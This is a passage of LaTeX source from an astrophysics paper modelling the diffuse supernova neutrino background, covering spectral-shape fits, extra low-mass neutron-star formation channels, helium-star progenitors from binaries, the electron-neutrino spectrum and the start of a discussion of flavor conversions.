\tablecomments{The fits are applied in the energy region $\unit{20}{MeV}\,\mathord{\leqslant}\,E\,\mathord{\leqslant}\,\unit{30}{MeV}$. The listed values correspond to the unoscillated \ensuremath{\bar{\nu}_{e}}\ DSNB flux spectra using the SFH from \citet{2014ApJ...790..115M} with its associated $\pm1\sigma$ uncertainty. In parentheses, the values for the case of a complete flavor swap ($\ensuremath{\bar{\nu}_{e}} \leftrightarrow \ensuremath{\nu_{x}}$) are provided as well as the results for a SFH according to the EBL reconstruction model by the \citet{2018Sci...362.1031F} and for the SFH of \cite{2014MadauDickinson}. The one-sided error intervals of $E_0$ in the cases with the SFH from \cite{2014ApJ...790..115M} are caused by the fact that the functional fits to the SFH scale slightly differently with redshift (see footnote~\ref{fn:E0_RCC}), with the best-fit case by \cite{2014ApJ...790..115M} yielding the largest relative contribution from high-redshift regions and thus smallest value of $E_0$ compared to both the +1$\sigma$ and the $-$1$\sigma$ limits.
}
\end{deluxetable*}
In our study, the spectral shape of the time-dependent neutrino emission is assumed to obey Equation~\eqref{eq:spectral_shape} with a constant shape parameter $\alpha$. Following our detailed analysis of the spectral shapes in Appendix~\ref{appendix:spectra}, we show in the lower left panel of Figure~\ref{fig:dsnb_parameter_study} how the DSNB flux spectrum changes when different values (between 1.0 and 3.0) of this instantaneous spectral-shape parameter $\alpha\,\mathord{=}\,\ensuremath{\alpha_\mathrm{BH}}$ are taken for the emission from failed explosions. For successful SNe, $\alpha$ is not varied but kept constant at the best-fit values of 3.0 and 3.5 (for $M_\mathrm{NS,b}\,\mathord{>}\,\unit{1.6}{\ensuremath{\mathrm{M}_\sun}}$ and $M_\mathrm{NS,b}\,\mathord{\leqslant}\,\unit{1.6}{\ensuremath{\mathrm{M}_\sun}}$, respectively). Similar to its influence on the individual failed-SN source spectra, a small value of $\ensuremath{\alpha_\mathrm{BH}}$ also broadens the shape of the DSNB such that its high-energy tail gets lifted relative to the peak \citep[cf.][]{2003ApJ...590..971K, 2007PhRvD..75g3022L, 2016APh....79...49L}. For $\ensuremath{\alpha_\mathrm{BH}}\,\mathord{=}\,1.0$ (i.e., antipinched failed-SN source spectra), the exponential fit of Equation~\eqref{eq:exponential_dsnb_fit} yields $E_0\,\mathord{=}\,\unit{5.4}{MeV}$ and $\phi_0\,\mathord{=}\,\unit{6.3}{MeV^{-1}cm^{-2}s^{-1}}$ in the range of neutrino energies $\unit{20}{MeV}\,\mathord{\leqslant}\,E\,\mathord{\leqslant}\,\unit{30}{MeV}$. Choosing $\ensuremath{\alpha_\mathrm{BH}}\,\mathord{=}\,3.0$, on the other hand, results in a more prominent peak at the cost of a suppressed flux at high energies ($E_0\,\mathord{=}\,\unit{4.5}{MeV}$; $\phi_0\,\mathord{=}\,\unit{12.3}{MeV^{-1}cm^{-2}s^{-1}}$). Because the instantaneous spectral-shape parameter $\alpha$ is only varied for failed SNe while the contribution from successful SNe is unchanged, a slight ``kink'' gets visible in the overall DSNB flux spectrum for the cases of small $\ensuremath{\alpha_\mathrm{BH}}$, unveiling its ``two-component'' nature. Notice the crossings of the different curves at $\sim$3\,MeV and $\sim$15\,MeV. Accordingly, we construct the shaded band for the uncertainty of \ensuremath{R_\mathrm{CC}}\ such that the lowest-flux and highest-flux models are considered in each segment.
In Table~\ref{tab:exp_fit}, we provide an overview of the two fit parameters $\phi_0$ and $E_0$ for all models discussed in this section. We use the following naming convention for our DSNB models: ``W18-BH2.7-$\alpha$2.0'' corresponds to our fiducial model with the Z9.6\,\&\,W18 neutrino engine (``W18''), with a baryonic NS mass limit of $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$ (``BH2.7''), and with the best-fit choice for the instantaneous spectral-shape parameter (``$\alpha$2.0''; i.e., $\ensuremath{\alpha_\mathrm{BH}}\,\mathord{=}\,2.0$). The two models ``W20-BH3.5-$\alpha$1.0'' and ``S19.8-BH2.3-$\alpha$3.0'', which employ the most extreme parameter combinations, yield the largest or smallest slope parameters $E_0$ of all our models and thus the highest or lowest fluxes at high energies, respectively.
\subsection{Additional Low-mass Component}\label{subsec:dsnb_LM}
As we mentioned in Section~\ref{subsec:pre-SN_models}, the low-mass range of core-collapse SN progenitors is rather uncertain. It is widely believed that in degenerate ONeMg cores electron-capture reactions on $^{20}$Ne and $^{24}$Mg can win against the effects of oxygen deflagration, initiating the collapse to a NS rather than thermonuclear runaway \citep{1980PASJ...32..303M, 1984ApJ...277..791N, 1987ApJ...322..206N}. Nevertheless, the conditions for such an ECSN to occur in Nature are still discussed controversially \citep[see, e.g.,][]{2016A&A...593A..72J, 2019PhRvL.123z2701K, 2019ApJ...886...22Z, 2020ApJ...889...34L}. Moreover, observations suggest that most massive stars are in binary systems \citep[see, e.g.,][]{2009AJ....137.3358M, 2012Sci...337..444S}, and evolution in binaries might lead to a larger population of degenerate ONeMg cores which produce ESCNe \citep{2004ApJ...612.1044P}.
In addition to these uncertain SN progenitors, three other channels are discussed that may lead to preferentially rather low-mass NSs, whose formation might contribute to the DSNB: Electron-capture initiated collapse may also occur when an ONeMg WD is pushed beyond the Chandrasekhar mass limit due to Roche-lobe overflow from a companion. Such a NS-forming event is referred to as AIC \citep[see, e.g.,][]{1990ApJ...353..159B, 1991ApJ...367L..19N, 2004ApJ...601.1058I, 2010MNRAS.402.1437H, 2016A&A...593A..72J, 2018RAA....18...36W, 2019MNRAS.484..698R}. Similarly, \citet{1985A&A...150L..21S} suggested the MIC of two WDs as another possible scenario to form a single NS \citep[also see][]{2008MNRAS.386..553I, 2016MNRAS.463.3461S, 2019MNRAS.484..698R}. Moreover, close-binary interaction might in some cases lead to the stripping of a star's hydrogen and (most of its) helium envelope onto a companion NS, leaving behind a bare carbon-oxygen core \citep{1994Natur.371..227N, 2002MNRAS.331.1027D}, undergoing subsequent iron-core collapse. The explosion of such ultra\-stripped SNe \citep{2013ApJ...778L..23T, 2015MNRAS.451.2123T, 2015MNRAS.454.3073S, 2018MNRAS.479.3675M} is discussed as the most likely evolutionary pathway leading to the formation of double NS systems \citep{2017ApJ...846..170T, 2020arXiv200703890M}.
Previous works \citep[e.g., by][]{2014ApJ...790..115M, 2018MNRAS.475.1363H} considered the contribution from ECSNe to the DNSB flux and, in a footnote, \citet{2010PhRvD..81h3001L} already mentioned that, to a minor degree, also neutrinos from the AIC of WDs might add to the DSNB.
\begin{deluxetable*}{cccccc}
\tablecaption{
DSNB contribution from additional low-mass NS-formation events.
\label{tab:dsnb_LM_component}}
\tablehead{
\colhead{} & \colhead{$\unit{(0-10)}{MeV}$} & \colhead{$\unit{(10-20)}{MeV}$} & \colhead{$\unit{(20-30)}{MeV}$} & \colhead{$\unit{(30-40)}{MeV}$} & \colhead{$\unit{(0-40)}{MeV}$}
}
\startdata
Fiducial DSNB Flux (\ensuremath{\bar{\nu}_{e}}), $R_\mathrm{LM} = 0$ & $\unit{22.7}{cm^{-2}s^{-1}}$ & $\unit{5.4}{cm^{-2}s^{-1}}$ & $\unit{0.6}{cm^{-2}s^{-1}}$ & $\unit{0.1}{cm^{-2}s^{-1}}$ & $\unit{28.8}{cm^{-2}s^{-1}}$ \\
\hline
$R_\mathrm{LM} = 1.0 \times R_\mathrm{CC}(0)$, $\chi=0.11$ & 5.7\% (6.1\%) & 5.7\% (4.0\%) & 4.7\% (2.5\%) & 2.6\% (1.2\%) & 5.6\% (5.6\%) \\
$R_\mathrm{LM} = 2.0 \times R_\mathrm{CC}(0)$, $\chi=0.23$ & 11.3\% (12.2\%) & 11.3\% (7.9\%) & 9.3\% (5.0\%) & 5.1\% (2.4\%) & 11.2\% (11.2\%) \\
$R_\mathrm{LM} = 3.0 \times R_\mathrm{CC}(0)$, $\chi=0.34$ & 17.0\% (18.4\%) & 17.0\% (11.9\%) & 14.0\% (7.5\%) & 7.7\% (3.7\%) & 16.9\% (16.9\%) \\
$R_\mathrm{LM} = 8.9 \times R_\mathrm{CC}(0)$, $\chi=1.00$ & 50.0\% (54.2\%) & 50.1\% (35.0\%) & 41.3\% (22.1\%) & 22.8\% (10.8\%) & 49.8\% (49.8\%)
\enddata
\tablecomments{First row: DSNB \ensuremath{\bar{\nu}_{e}}-flux for our fiducial model (with $\ensuremath{R_\mathrm{LM}}\,\mathord{=}\,0$, cf. Table~\ref{tab:dsnb_contributions}), integrated over different energy intervals. Rows 2--5: Flux contributions $x$ (Equation~\eqref{eq:x}) from low-mass (LM) NS-formation events (AIC, MIC, ultra\-stripped SNe) relative to the fiducial model for four different choices of the constant (LM$_\mathrm{const}$) rate density \ensuremath{R_\mathrm{LM}}. In parentheses, the values of $x$ for an evolving LM NS-formation rate (LM$_\mathrm{evolv}$) with the same value of $\chi$ (Equation~\eqref{eq:chi}) are given (see main text for details).}
\end{deluxetable*}
In our study we explore the consequences of additional formation channels of (rather) low-mass (LM) NSs on our DSNB predictions in a quantitative and systematic way, subsuming the possible contributions from ultra\-stripped SNe, AIC, and MIC events in addition to the contribution from ECSNe that is included in our standard models. To this end, we employ a generic neutrino spectrum ($\mathrm{d} N_\mathrm{LM}/\mathrm{d} E'$) adopted from the ECSN calculations of \citet[``model Sf'']{2010PhRvL.104y1101H} since neutrino signals from sophisticated long-time simulations of AIC, MIC, and ultra\-stripped SNe are still lacking. We expect the neutrino emission properties of all three additional formation channels of LM NSs to be fairly similar to the case of ECSNe. Our approach is therefore meant to serve as an order-of-magnitude estimate, but it cannot capture any details connected to differences in the individual event rates and in the neutrino signals of the three channels of ultra\-stripped SNe, AIC, and MIC events, which we combine to a single, additional LM NS-formation component.
It should be mentioned here that the cosmic rates of such events are highly uncertain, because a large parameter space in the treatment of binary interaction (especially common-envelope physics) makes precise predictions difficult. Using population synthesis methods, \citet{2017A&A...601A..29Z} found that core-collapse events in binary systems are generally delayed compared to those of single stars. More particularly, \citet{2019MNRAS.484..698R} showed that AIC and MIC can proceed in various evolutionary pathways, featuring a variety of delay-times (from below $\unit{10^2}{Myr}$ up to over $\unit{10}{Gyr}$) between star burst and eventual stellar collapse. For simplicity, we thus explore on the one hand different values of a comoving rate density, $\ensuremath{R_\mathrm{LM}}(z)\,\mathord{=}\,\ensuremath{R_\mathrm{LM}}$, which does not change with cosmic time (``LM$_\mathrm{const}$''). On the other hand, we examine how our DSNB results differ in the case of an evolving rate for additional LM NS-formation events (``LM$_\mathrm{evolv}$''). The DSNB flux spectrum (Equation~\eqref{eq:DSNB}) can be rewritten in the generalized form
\begin{equation}\label{eq:DSNB_LM}
\frac{\mathrm{d}\Phi}{\mathrm{d} E} = \frac{c}{H_0}\int_{0}^{5}\!\!\mathrm{d} z\, \frac{\ensuremath{R_\mathrm{CC}}(z)\frac{\mathrm{d} N_\mathrm{CC}}{\mathrm{d} E'} + \ensuremath{R_\mathrm{LM}}(z)\frac{\mathrm{d} N_\mathrm{LM}}{\mathrm{d} E'}}{\sqrt{\Omega_\mathrm{m}(1+z)^3+\Omega_\mathrm{\Lambda}}}~.
\end{equation}
In the lower right panel of Figure~\ref{fig:dsnb_parameter_study}, we separately plot our fiducial DSNB prediction (dashed line; see Section~\ref{sec:fiducial_model}) and the additional contribution from LM events for four different constant rate densities \ensuremath{R_\mathrm{LM}}\ (solid lines), which we take as multiples of the local stellar core-collapse rate, $\ensuremath{R_\mathrm{CC}}(0)\,\mathord{=}\,\unit{8.93 \times 10^{-5}}{Mpc^{-3}yr^{-1}}$. However, since $\ensuremath{R_\mathrm{CC}}(z)$ varies strongly with redshift (it increases by over an order of magnitude from $z\,\mathord{=}\,0$ to $z\,\mathord{=}\,1$), we also consider the ratio of the comoving rate densities of LM NS-formation events relative to ``conventional'' core-collapse SNe, both integrated over the cosmic history:
\begin{equation}\label{eq:chi}
\chi = \frac{\int_0^5\mathrm{d} z \,\ensuremath{R_\mathrm{LM}}(z) |\mathrm{d} t_\mathrm{c}/\mathrm{d} z|}{\int_0^5\mathrm{d} z \,\ensuremath{R_\mathrm{CC}}(z) |\mathrm{d} t_\mathrm{c}/\mathrm{d} z|}~.
\end{equation}
This serves as a measure of the relative importance of how both types of neutrino sources contribute to the DSNB from the time of the highest considered redshifts ($z_{\mathrm{max}}\,\mathord{=}\,5$) until the present day. In Table~\ref{tab:dsnb_LM_component}, we show the ratios
\begin{equation}\label{eq:x}
x = \frac{\int_{E_1}^{E_2}\mathrm{d} E \int_0^5\mathrm{d} z \,\ensuremath{R_\mathrm{LM}}(z)\frac{\mathrm{d} N_\mathrm{LM}}{\mathrm{d} E'} |\mathrm{d} t_\mathrm{c}/\mathrm{d} z|}{\int_{E_1}^{E_2}\mathrm{d} E \int_0^5\mathrm{d} z \,\ensuremath{R_\mathrm{CC}}(z)\frac{\mathrm{d} N_\mathrm{CC}}{\mathrm{d} E'} |\mathrm{d} t_\mathrm{c}/\mathrm{d} z|}~,
\end{equation}
i.e. the DSNB flux contributions from LM events relative to our fiducial model with $\ensuremath{R_\mathrm{LM}}\,\mathord{=}\,0$, integrated over different energy intervals [$E_1$,$E_2$] for our different choices of $\ensuremath{R_\mathrm{LM}}$. To see an effect of at least 10\% within the detection window (10--30\,MeV), an additional (constant) low-mass rate $\ensuremath{R_\mathrm{LM}}\,\mathord{=}\,\unit{1.55\times10^{-4}}{Mpc^{-3}yr^{-1}}$ is required, which is nearly twice the local stellar core-collapse rate, \ensuremath{R_\mathrm{CC}}(0), and corresponds to $\chi\,\mathord{=}\,0.20$. Such a fraction is well above present estimates for both AIC/MIC events \citep{2009MNRAS.396.1659M, 2019MNRAS.484..698R} and ultra\-stripped SNe \citep{2013ApJ...778L..23T} of at most a few percent of the ``conventional'' core-collapse SN population. However, due to large uncertainties in the physics of binary interaction, the possibility of such a large population of LM NS-formation events may not be ruled out completely.
As a sensitivity check, we additionally consider a comoving rate density, $\ensuremath{R_\mathrm{LM}}(z)$, which linearly increases by a factor of 4 between $z\,\mathord{=}\,0$ and $z\,\mathord{=}\,1$ and stays constant at even larger redshifts, roughly following the observationally inferred rate of type Ia SNe \citep[e.g.,][]{2011MNRAS.417..916G}. In the lower right panel of Figure~\ref{fig:dsnb_parameter_study}, the LM-flux contribution resulting from such an evolving rate is indicated by the pale red band (defined by $0.11\,\mathord{\leqslant}\,\chi\,\mathord{\leqslant}\,1.00$, like for the four cases for constant rates \ensuremath{R_\mathrm{LM}}). The spectra are shifted towards lower energies, as expected due to the relatively increased contribution from events at high redshifts. This can also be seen in Table~\ref{tab:dsnb_LM_component} (values in parentheses). An enhancement of the DSNB flux by 10\% at energies above $\unit{10}{MeV}$ would even require $\chi\,\mathord{=}\,0.26$ for an evolving LM rate, which would mean that, for example, more than roughly half of the WD mergers lead to NS formation instead of a type Ia SN, if merging WDs explain the majority of SNIa events. Although this seems to be disfavored on grounds of current observations and population synthesis models \citep[e.g.,][]{2009MNRAS.396.1659M, 2019MNRAS.484..698R}, it might not be entirely impossible. Nevertheless, within the relevant detection window, the contribution from AIC/MIC events and ultra\-stripped SNe to the DSNB is likely to be hidden by the current uncertainty of the cosmic core-collapse rate (gray shaded band in Figure~\ref{fig:dsnb_parameter_study}). Only when this dominant uncertainty will be reduced significantly, there may be a chance to uncover a contribution to the neutrino background from such LM NS-forming events.
\subsection{Inclusion of Binary Models}\label{subsec:dsnb_binary}
\begin{figure*}[ht!]
\includegraphics[width=\textwidth]{fig6}
\caption{Landscape of NS or BH formation for the set of helium-star progenitors from \citet{2019ApJ...878...49W} as obtained in simulations with the engine model Z9.6\,\&\,W18 (cf. Figure~\ref{fig:neutrino_outcomesystematics} for single-star progenitors). From top to bottom: time of explosion or BH formation, total energy radiated in all species of neutrinos, and mean energy of electron antineutrinos versus ZAMS mass of the progenitors. Note the different mass range for stellar core-collapse progenitors compared to Figure~\ref{fig:neutrino_outcomesystematics}. Red bars indicate successful SN explosions (and fallback SNe), while the outcomes of BH-forming, failed SNe are shown for the different baryonic NS mass limits in gray ($\unit{2.3}{\ensuremath{\mathrm{M}_\sun}}$), dark blue ($\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$), light blue ($\unit{3.1}{\ensuremath{\mathrm{M}_\sun}}$), and cyan ($\unit{3.5}{\ensuremath{\mathrm{M}_\sun}}$). Five special progenitors yield successful or failed explosions depending on the NS mass limit (see footnote~\ref{fn:he-stars}).\\
\label{fig:neutrino_outcomesystematics_He}}
\end{figure*}
A large fraction of massive stars is expected to undergo binary interaction with a companion, possibly shedding their hydrogen envelopes (e.g., via Roche-lobe overflow or common-envelope ejection) and leaving behind bare helium stars \citep{2012Sci...337..444S}. Taking this as a motivation, we explore how the inclusion of binary models affects our DSNB predictions. To this end, we employ a set of 132 helium stars with initial masses in the range of $\unit{2.5-40}{\ensuremath{\mathrm{M}_\sun}}$, originating from hydrogen burning in non-rotating, solar-metallicity stars \citep{2019ApJ...878...49W}. According to equations~(4) and (5) therein, this range of initial helium-core masses converts to ZAMS masses of $\unit{13.5-91.7}{\ensuremath{\mathrm{M}_\sun}}$. Stars with masses lower than that are assumed to form WDs, thus not contributing to the DSNB.\footnote{Consistently, the lower integration bounds in Equations~\eqref{eq:IMF_average} and \eqref{eq:R_CC} are raised from $\unit{8.7}{\ensuremath{\mathrm{M}_\sun}}$ to $\unit{13.5}{\ensuremath{\mathrm{M}_\sun}}$.} For the details of the pre-SN evolution (which includes wind mass loss), the reader is referred to \citet{2019ApJ...878...49W}.
We used these progenitor models and performed SN simulations with the \textsc{Prometheus-HotB} code as done for the single-star progenitors (see Section~\ref{subsec:SN_simulations}). A detailed and dedicated analysis of the explosions of these helium stars can be found in the recent paper by \cite{2020ApJ...890...51E}. In Figure~\ref{fig:neutrino_outcomesystematics_He}, we show, for engine model Z9.6\,\&\,W18, the landscape of NS- and BH-formation events with basic properties of the neutrino emission of relevance for our DSNB calculations. Compared to Figure~\ref{fig:neutrino_outcomesystematics}, the range of stars experiencing core collapse is shifted towards higher ZAMS masses, starting only at $\unit{13.5}{\ensuremath{\mathrm{M}_\sun}}$. Moreover, there are no cases of BH formation below a ZAMS mass of $\unit{33}{\ensuremath{\mathrm{M}_\sun}}$. This can be understood as a consequence of the mass loss by stellar winds during the pre-SN evolution of the helium stars, yielding less compact cores compared to stars which still possess their hydrogen envelope (see figures~1 and 10 in \citealt{2019ApJ...878...49W}).
\begin{figure*}[ht!]
\includegraphics[width=\textwidth]{fig7}
\caption{DSNB flux spectrum, $\mathrm{d}\Phi/\mathrm{d} E$, of electron antineutrinos from the helium-star progenitors of \citet{2019ApJ...878...49W}, exploded with engine model Z9.6\,\&\,W18, taking $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$, the best-fit choice for the shape parameter~$\alpha$, and the SFH from \citet{2014ApJ...790..115M}. The left panel shows the two components, successful and failed SNe (light and dark red solid lines), contributing to the total DSNB flux (dashed line), assuming that the entire population of progenitors evolves as helium stars (cf. left panel of Figure~\ref{fig:dsnb_contributions} for single-star progenitors). In the right panel, our fiducial model based on single stars only (black dashed line) is compared with the DSNB flux spectra assuming a fraction of 33\% or 100\% of helium stars (dark or light red solid lines, respectively). The gray band around our fiducial single-star DSNB spectrum corresponds to the $\pm1\sigma$ uncertainty of the SFH from \citet{2014ApJ...790..115M}. As in Figures~\ref{fig:dsnb_contributions}, \ref{fig:dsnb_SFR}, and \ref{fig:dsnb_parameter_study}, vertical bands frame the approximate detection window.\\
\label{fig:dsnb_He}}
\end{figure*}
We note in passing that the values for the neutrino energy loss used in our present study differ in details from the numbers shown in figure~5 of \citet{2020ApJ...890...51E}. First, we do not consider the additional neutrino-energy loss from fallback accretion and consistently treat fallback SNe as NS-formation events, whereas \citet{2020ApJ...890...51E} took fallback into account in their estimates of the compact remnant masses and the associated release of gravitational binding energy through neutrinos.\footnote{\label{fn:he-stars}Note that five such progenitors, which explode at relatively late times ($\sim$2\,s) and consequently reach high PNS masses, are treated either as ``normal'' successful SNe (without fallback) in this work or, if the PNS mass exceeds \ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\ at any time during the post-bounce evolution, as failed explosions. In the latter case, the neutrino signals are truncated at this time, $t_\mathrm{BH}$.}
Second, in our present study we extrapolate the neutrino emission of non-exploding cases until the accreting PNS in our \textsc{Prometheus-HotB} runs reaches the assumed and parametrically varied baryonic mass limit of stable, cold NSs, \ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}, and therefore should collapse to a BH. In contrast, \citet{2020ApJ...890...51E} employed for BH cases (with $t_\mathrm{BH}\,\mathrm{>}\,\unit{10}{s}$) the radius-dependent fit formula of \citet{2001ApJ...550..426L} for the gravitational binding energy of a NS with the maximum mass assumed in their work. The energy release (\ensuremath{E_{\nu}^\mathrm{tot}}) estimated that way is somewhat larger than for our accretion-determined estimates (see Figure~\ref{fig:appendix_E_tot_fSNe} in Appendix~\ref{appendix:total_energies}).
Figure~\ref{fig:dsnb_He} illustrates how the inclusion of binary models impacts our DSNB predictions. In the left panel, we separately show the contributions from successful and failed explosions to the DSNB flux spectrum of electron antineutrinos for our fiducial model parameters (Z9.6\,\&\,W18; $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$; best-fit $\alpha$; SFH from \citealt{2014ApJ...790..115M}), assuming that all (100\%) progenitors evolve as helium stars (``W18-BH2.7-$\alpha$2.0-He100''). Compared to single stars (Figure~\ref{fig:dsnb_contributions} and black dashed line in the right panel of Figure~\ref{fig:dsnb_He}), the overall DSNB flux is reduced by a factor of $\sim$2 owing to the smaller fraction of stars experiencing core collapse. At the same time, the less frequent failed explosions produce a lower high-energy tail of the spectrum compared to our fiducial DSNB spectrum based on single stars (see also Table~\ref{tab:exp_fit}). If we assume that only 33\% of all massive stars strip their hydrogen envelopes (as suggested by \citealt{2012Sci...337..444S}; ``W18-BH2.7-$\alpha$2.0-He33''), the effects of helium stars on the DSNB spectrum are less dramatic and the shifted spectrum lies within the uncertainty band associated with the SFH (gray shaded band; cf. Figure~\ref{fig:dsnb_SFR}).
Applying the other neutrino engines considered in our work to the helium-star models, we obtain similar relative changes of the DSNB spectra as in the case of our fiducial engine model Z9.6\,\&\,W18. We should stress at this point that, if progenitors do not lose their entire hydrogen envelopes, end stages of stellar evolution more similar to those of single-star evolution can be expected \citep{2019ApJ...878...49W}.
\begin{figure*}[ht!]
\includegraphics[width=\textwidth]{fig8}
\caption{Comparison of the DSNB flux spectra of electron antineutrinos and electron neutrinos. In both panels, the black dashed and the red solid lines correspond to the (unoscillated) DSNB spectra, $\mathrm{d}\Phi/\mathrm{d} E$, of our fiducial model (W18-BH2.7-$\alpha$2.0; 26.9\% failed SNe, no helium stars; see Section~\ref{sec:fiducial_model}) for \ensuremath{\bar{\nu}_{e}}\ and \ensuremath{\nu_{e}}, respectively. In the left panel, the shaded bands indicate the spectral DSNB variations for our different neutrino engines, leading to fractions of failed explosions with BH-formation between $\sim$18\% (for the Z9.6\,\&\,S19.8 engine) and up to $\sim$42\% (for the Z9.6\,\&\,W20 engine; cf. upper left panel of Figure~\ref{fig:dsnb_parameter_study}). In the right panel, the shaded bands show the effect of including a 33\% fraction of hydrogen-stripped helium stars (cf. Figure~\ref{fig:dsnb_He}). As in previous figures, vertical bands indicate the approximate \ensuremath{\bar{\nu}_{e}}-detection window. Note, however, that the detection window is different for \ensuremath{\nu_{e}}\ ($\sim$17--40\,MeV; not shown in the figure; see, e.g., \citealt{2004JCAP...12..002C}, \citealt{2019PhRvC..99e5810Z}).\\
\label{fig:dsnb_nue}}
\end{figure*}
\section{DSNB Spectrum of Electron Neutrinos}\label{sec:nue}
Although the main focus of our study lies on the DSNB's \ensuremath{\bar{\nu}_{e}}\ component, we briefly comment on the flux spectrum of \ensuremath{\nu_{e}}, which is an observational target of DUNE \citep{2015arXiv151206148D}. Combining future DSNB \ensuremath{\nu_{e}}-flux measurements by DUNE with the \ensuremath{\bar{\nu}_{e}}-flux data gathered by the gadolinium-loaded SK (and Hyper-Kamiokande) and by JUNO will yield complementary constraints on the DSNB parameter space \citep[see, e.g.,][]{2018JCAP...05..066M} and will help testing different neutrino oscillation scenarios or non-standard-model physics such as neutrino decays \citep[see, e.g.,][]{2004PhRvD..70a3001F, 2020arXiv200713748D, 2020arXiv201110933T}.
In Figure~\ref{fig:dsnb_nue}, we show our predictions for the DSNB flux spectrum for \ensuremath{\nu_{e}}\ in comparison to the \ensuremath{\bar{\nu}_{e}}\ component for our fiducial model parameters (Z9.6\,\&\,W18 neutrino engine; $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$; $\ensuremath{\alpha_\mathrm{BH}}\,\mathord{=}\,2.0$; best-fit SFH from \citet{2014ApJ...790..115M}). The main differences are a more prominent spectral peak (at energies $E\,\mathord{\lesssim}\,\unit{8}{MeV}$) and a faster decline of the spectrum towards high neutrino energies for the case of \ensuremath{\nu_{e}}\ compared to \ensuremath{\bar{\nu}_{e}}. The exponential fit of Equation~\eqref{eq:exponential_dsnb_fit} yields a value of the ``slope parameter'' $E_0$ of 4.49\,MeV for the \ensuremath{\nu_{e}}\ spectrum (compared to $E_0\,\mathord{=}\,\unit{4.82}{MeV}$ for \ensuremath{\bar{\nu}_{e}}). This is a consequence of generally lower mean neutrino energies of \ensuremath{\nu_{e}}\ compared to \ensuremath{\bar{\nu}_{e}}\ (see Table~\ref{tab:spectral_parameters}). Note that for \ensuremath{\nu_{e}}\ a DSNB detection will not be possible below $\sim$17\,MeV due to the overwhelming solar \textit{hep} (and $^8$B) neutrino flux (see, e.g., figure~8 of \citealt{2019PhRvC..99e5810Z}).
To give an impression of the spectral DSNB variability for \ensuremath{\nu_{e}}, we also show the \ensuremath{\nu_{e}}-flux spectra for models with different neutrino engines applied and thus varied fractions of failed SNe with BH formation (left panel), as well as for a model that includes 33\% hydrogen-stripped helium-star progenitors (as suggested by \citealt{2012Sci...337..444S}; right panel). The overall trends (i.e., enhanced high-energy tail of the DSNB spectrum for a larger fraction of failed SNe and reduced DSNB flux for helium stars being included) are similar to the case of \ensuremath{\bar{\nu}_{e}}.
\section{Neutrino Flavor Conversions and Remaining Uncertainties}\label{sec:uncertainties}
\subsection{Neutrino Flavor Conversions}\label{subsec:flavor_conversions}
So far we did not take neutrino flavor oscillations into account but identified the emission of electron antineutrinos (or neutrinos) by the considered astrophysical sources with the measurable DSNB flux of \ensuremath{\bar{\nu}_{e}}\ (or \ensuremath{\nu_{e}}). However, on their way out of a collapsing star, neutrinos (and antineutrinos) undergo collective and matter-induced (MSW) flavor conversions \citep{1978PhRvD..17.2369W, 1985YaFiz..42.1441M, 2010ARNPS..60..569D, 2016NCimR..39....1M}. Hereafter, we discuss how such oscillations can affect our DSNB flux predictions.
\begin{figure*}
\includegraphics[width=\textwidth]{fig9}
\caption{Effects of neutrino flavor conversions on the DSNB flux spectrum and remaining modeling uncertainties for the case of our fiducial model parameters (see Section~\ref{sec:fiducial_model}). The left panel shows the unoscillated DSNB spectrum of electron antineutrinos ($\mathrm{d} \Phi^0_{\ensuremath{\bar{\nu}_{e}}}/\mathrm{d} E$; black dashed line) and the predicted DSNB spectrum for one species of heavy-lepton neutrinos ($\mathrm{d} \Phi^0_{\ensuremath{\nu_{x}}}/\mathrm{d} E$; red solid line), which would become the measurable \ensuremath{\bar{\nu}_{e}}\ spectrum in the case of a complete flavor swap $\ensuremath{\bar{\nu}_{e}}\,\mathord{\leftrightarrow}\,\ensuremath{\nu_{x}}$ (see Equation~\eqref{eq:flavor_conversion}). The uncertainty arising from the cosmic core-collapse rate \ensuremath{R_\mathrm{CC}}\ \citep[represented by the $\pm1\sigma$ limits to the SFH from][]{2014ApJ...790..115M} is indicated by shaded bands. In the right panel, our fiducial model (black dashed line; unoscillated \ensuremath{\bar{\nu}_{e}}) is compared to DSNB flux spectra where the total radiated neutrino energy, \ensuremath{E_{\nu}^\mathrm{tot}}, is reduced by 15\% for successful SNe or increased by 15\% for BH-formation cases. The corresponding red band is partly covered by the blue band, which marks the DSNB variation when the time-integrated mean \ensuremath{\bar{\nu}_{e}}\ energies, $\langle E \rangle$, are shifted by $-$10\% for successful SNe or by $+$10\% for failed explosions (see main text for details). Changing \ensuremath{E_{\nu}^\mathrm{tot}}\ or $\langle E\rangle$ for successful and failed SNe at the same time yields spectra within the uncertainty bands shown. The uncertainty of the fiducial spectrum due to \ensuremath{R_\mathrm{CC}}\ is indicated by the gray band.\\
\label{fig:dsnb_uncert}}
\end{figure*}
Following \citet{2011PhLB..702..209C} and \citet{2012JCAP...07..012L}, we write the DSNB flux spectrum of electron antineutrinos after including the effect of flavor conversions as
\begin{equation}\label{eq:flavor_conversion}
\frac{\mathrm{d} \Phi_{\ensuremath{\bar{\nu}_{e}}}}{\mathrm{d} E} = \bar{p} \, \frac{\mathrm{d} \Phi^0_{\ensuremath{\bar{\nu}_{e}}}}{\mathrm{d} E} + (1 - \bar{p}) \, \frac{\mathrm{d} \Phi^0_{\ensuremath{\nu_{x}}}}{\mathrm{d} E} \:,
\end{equation}
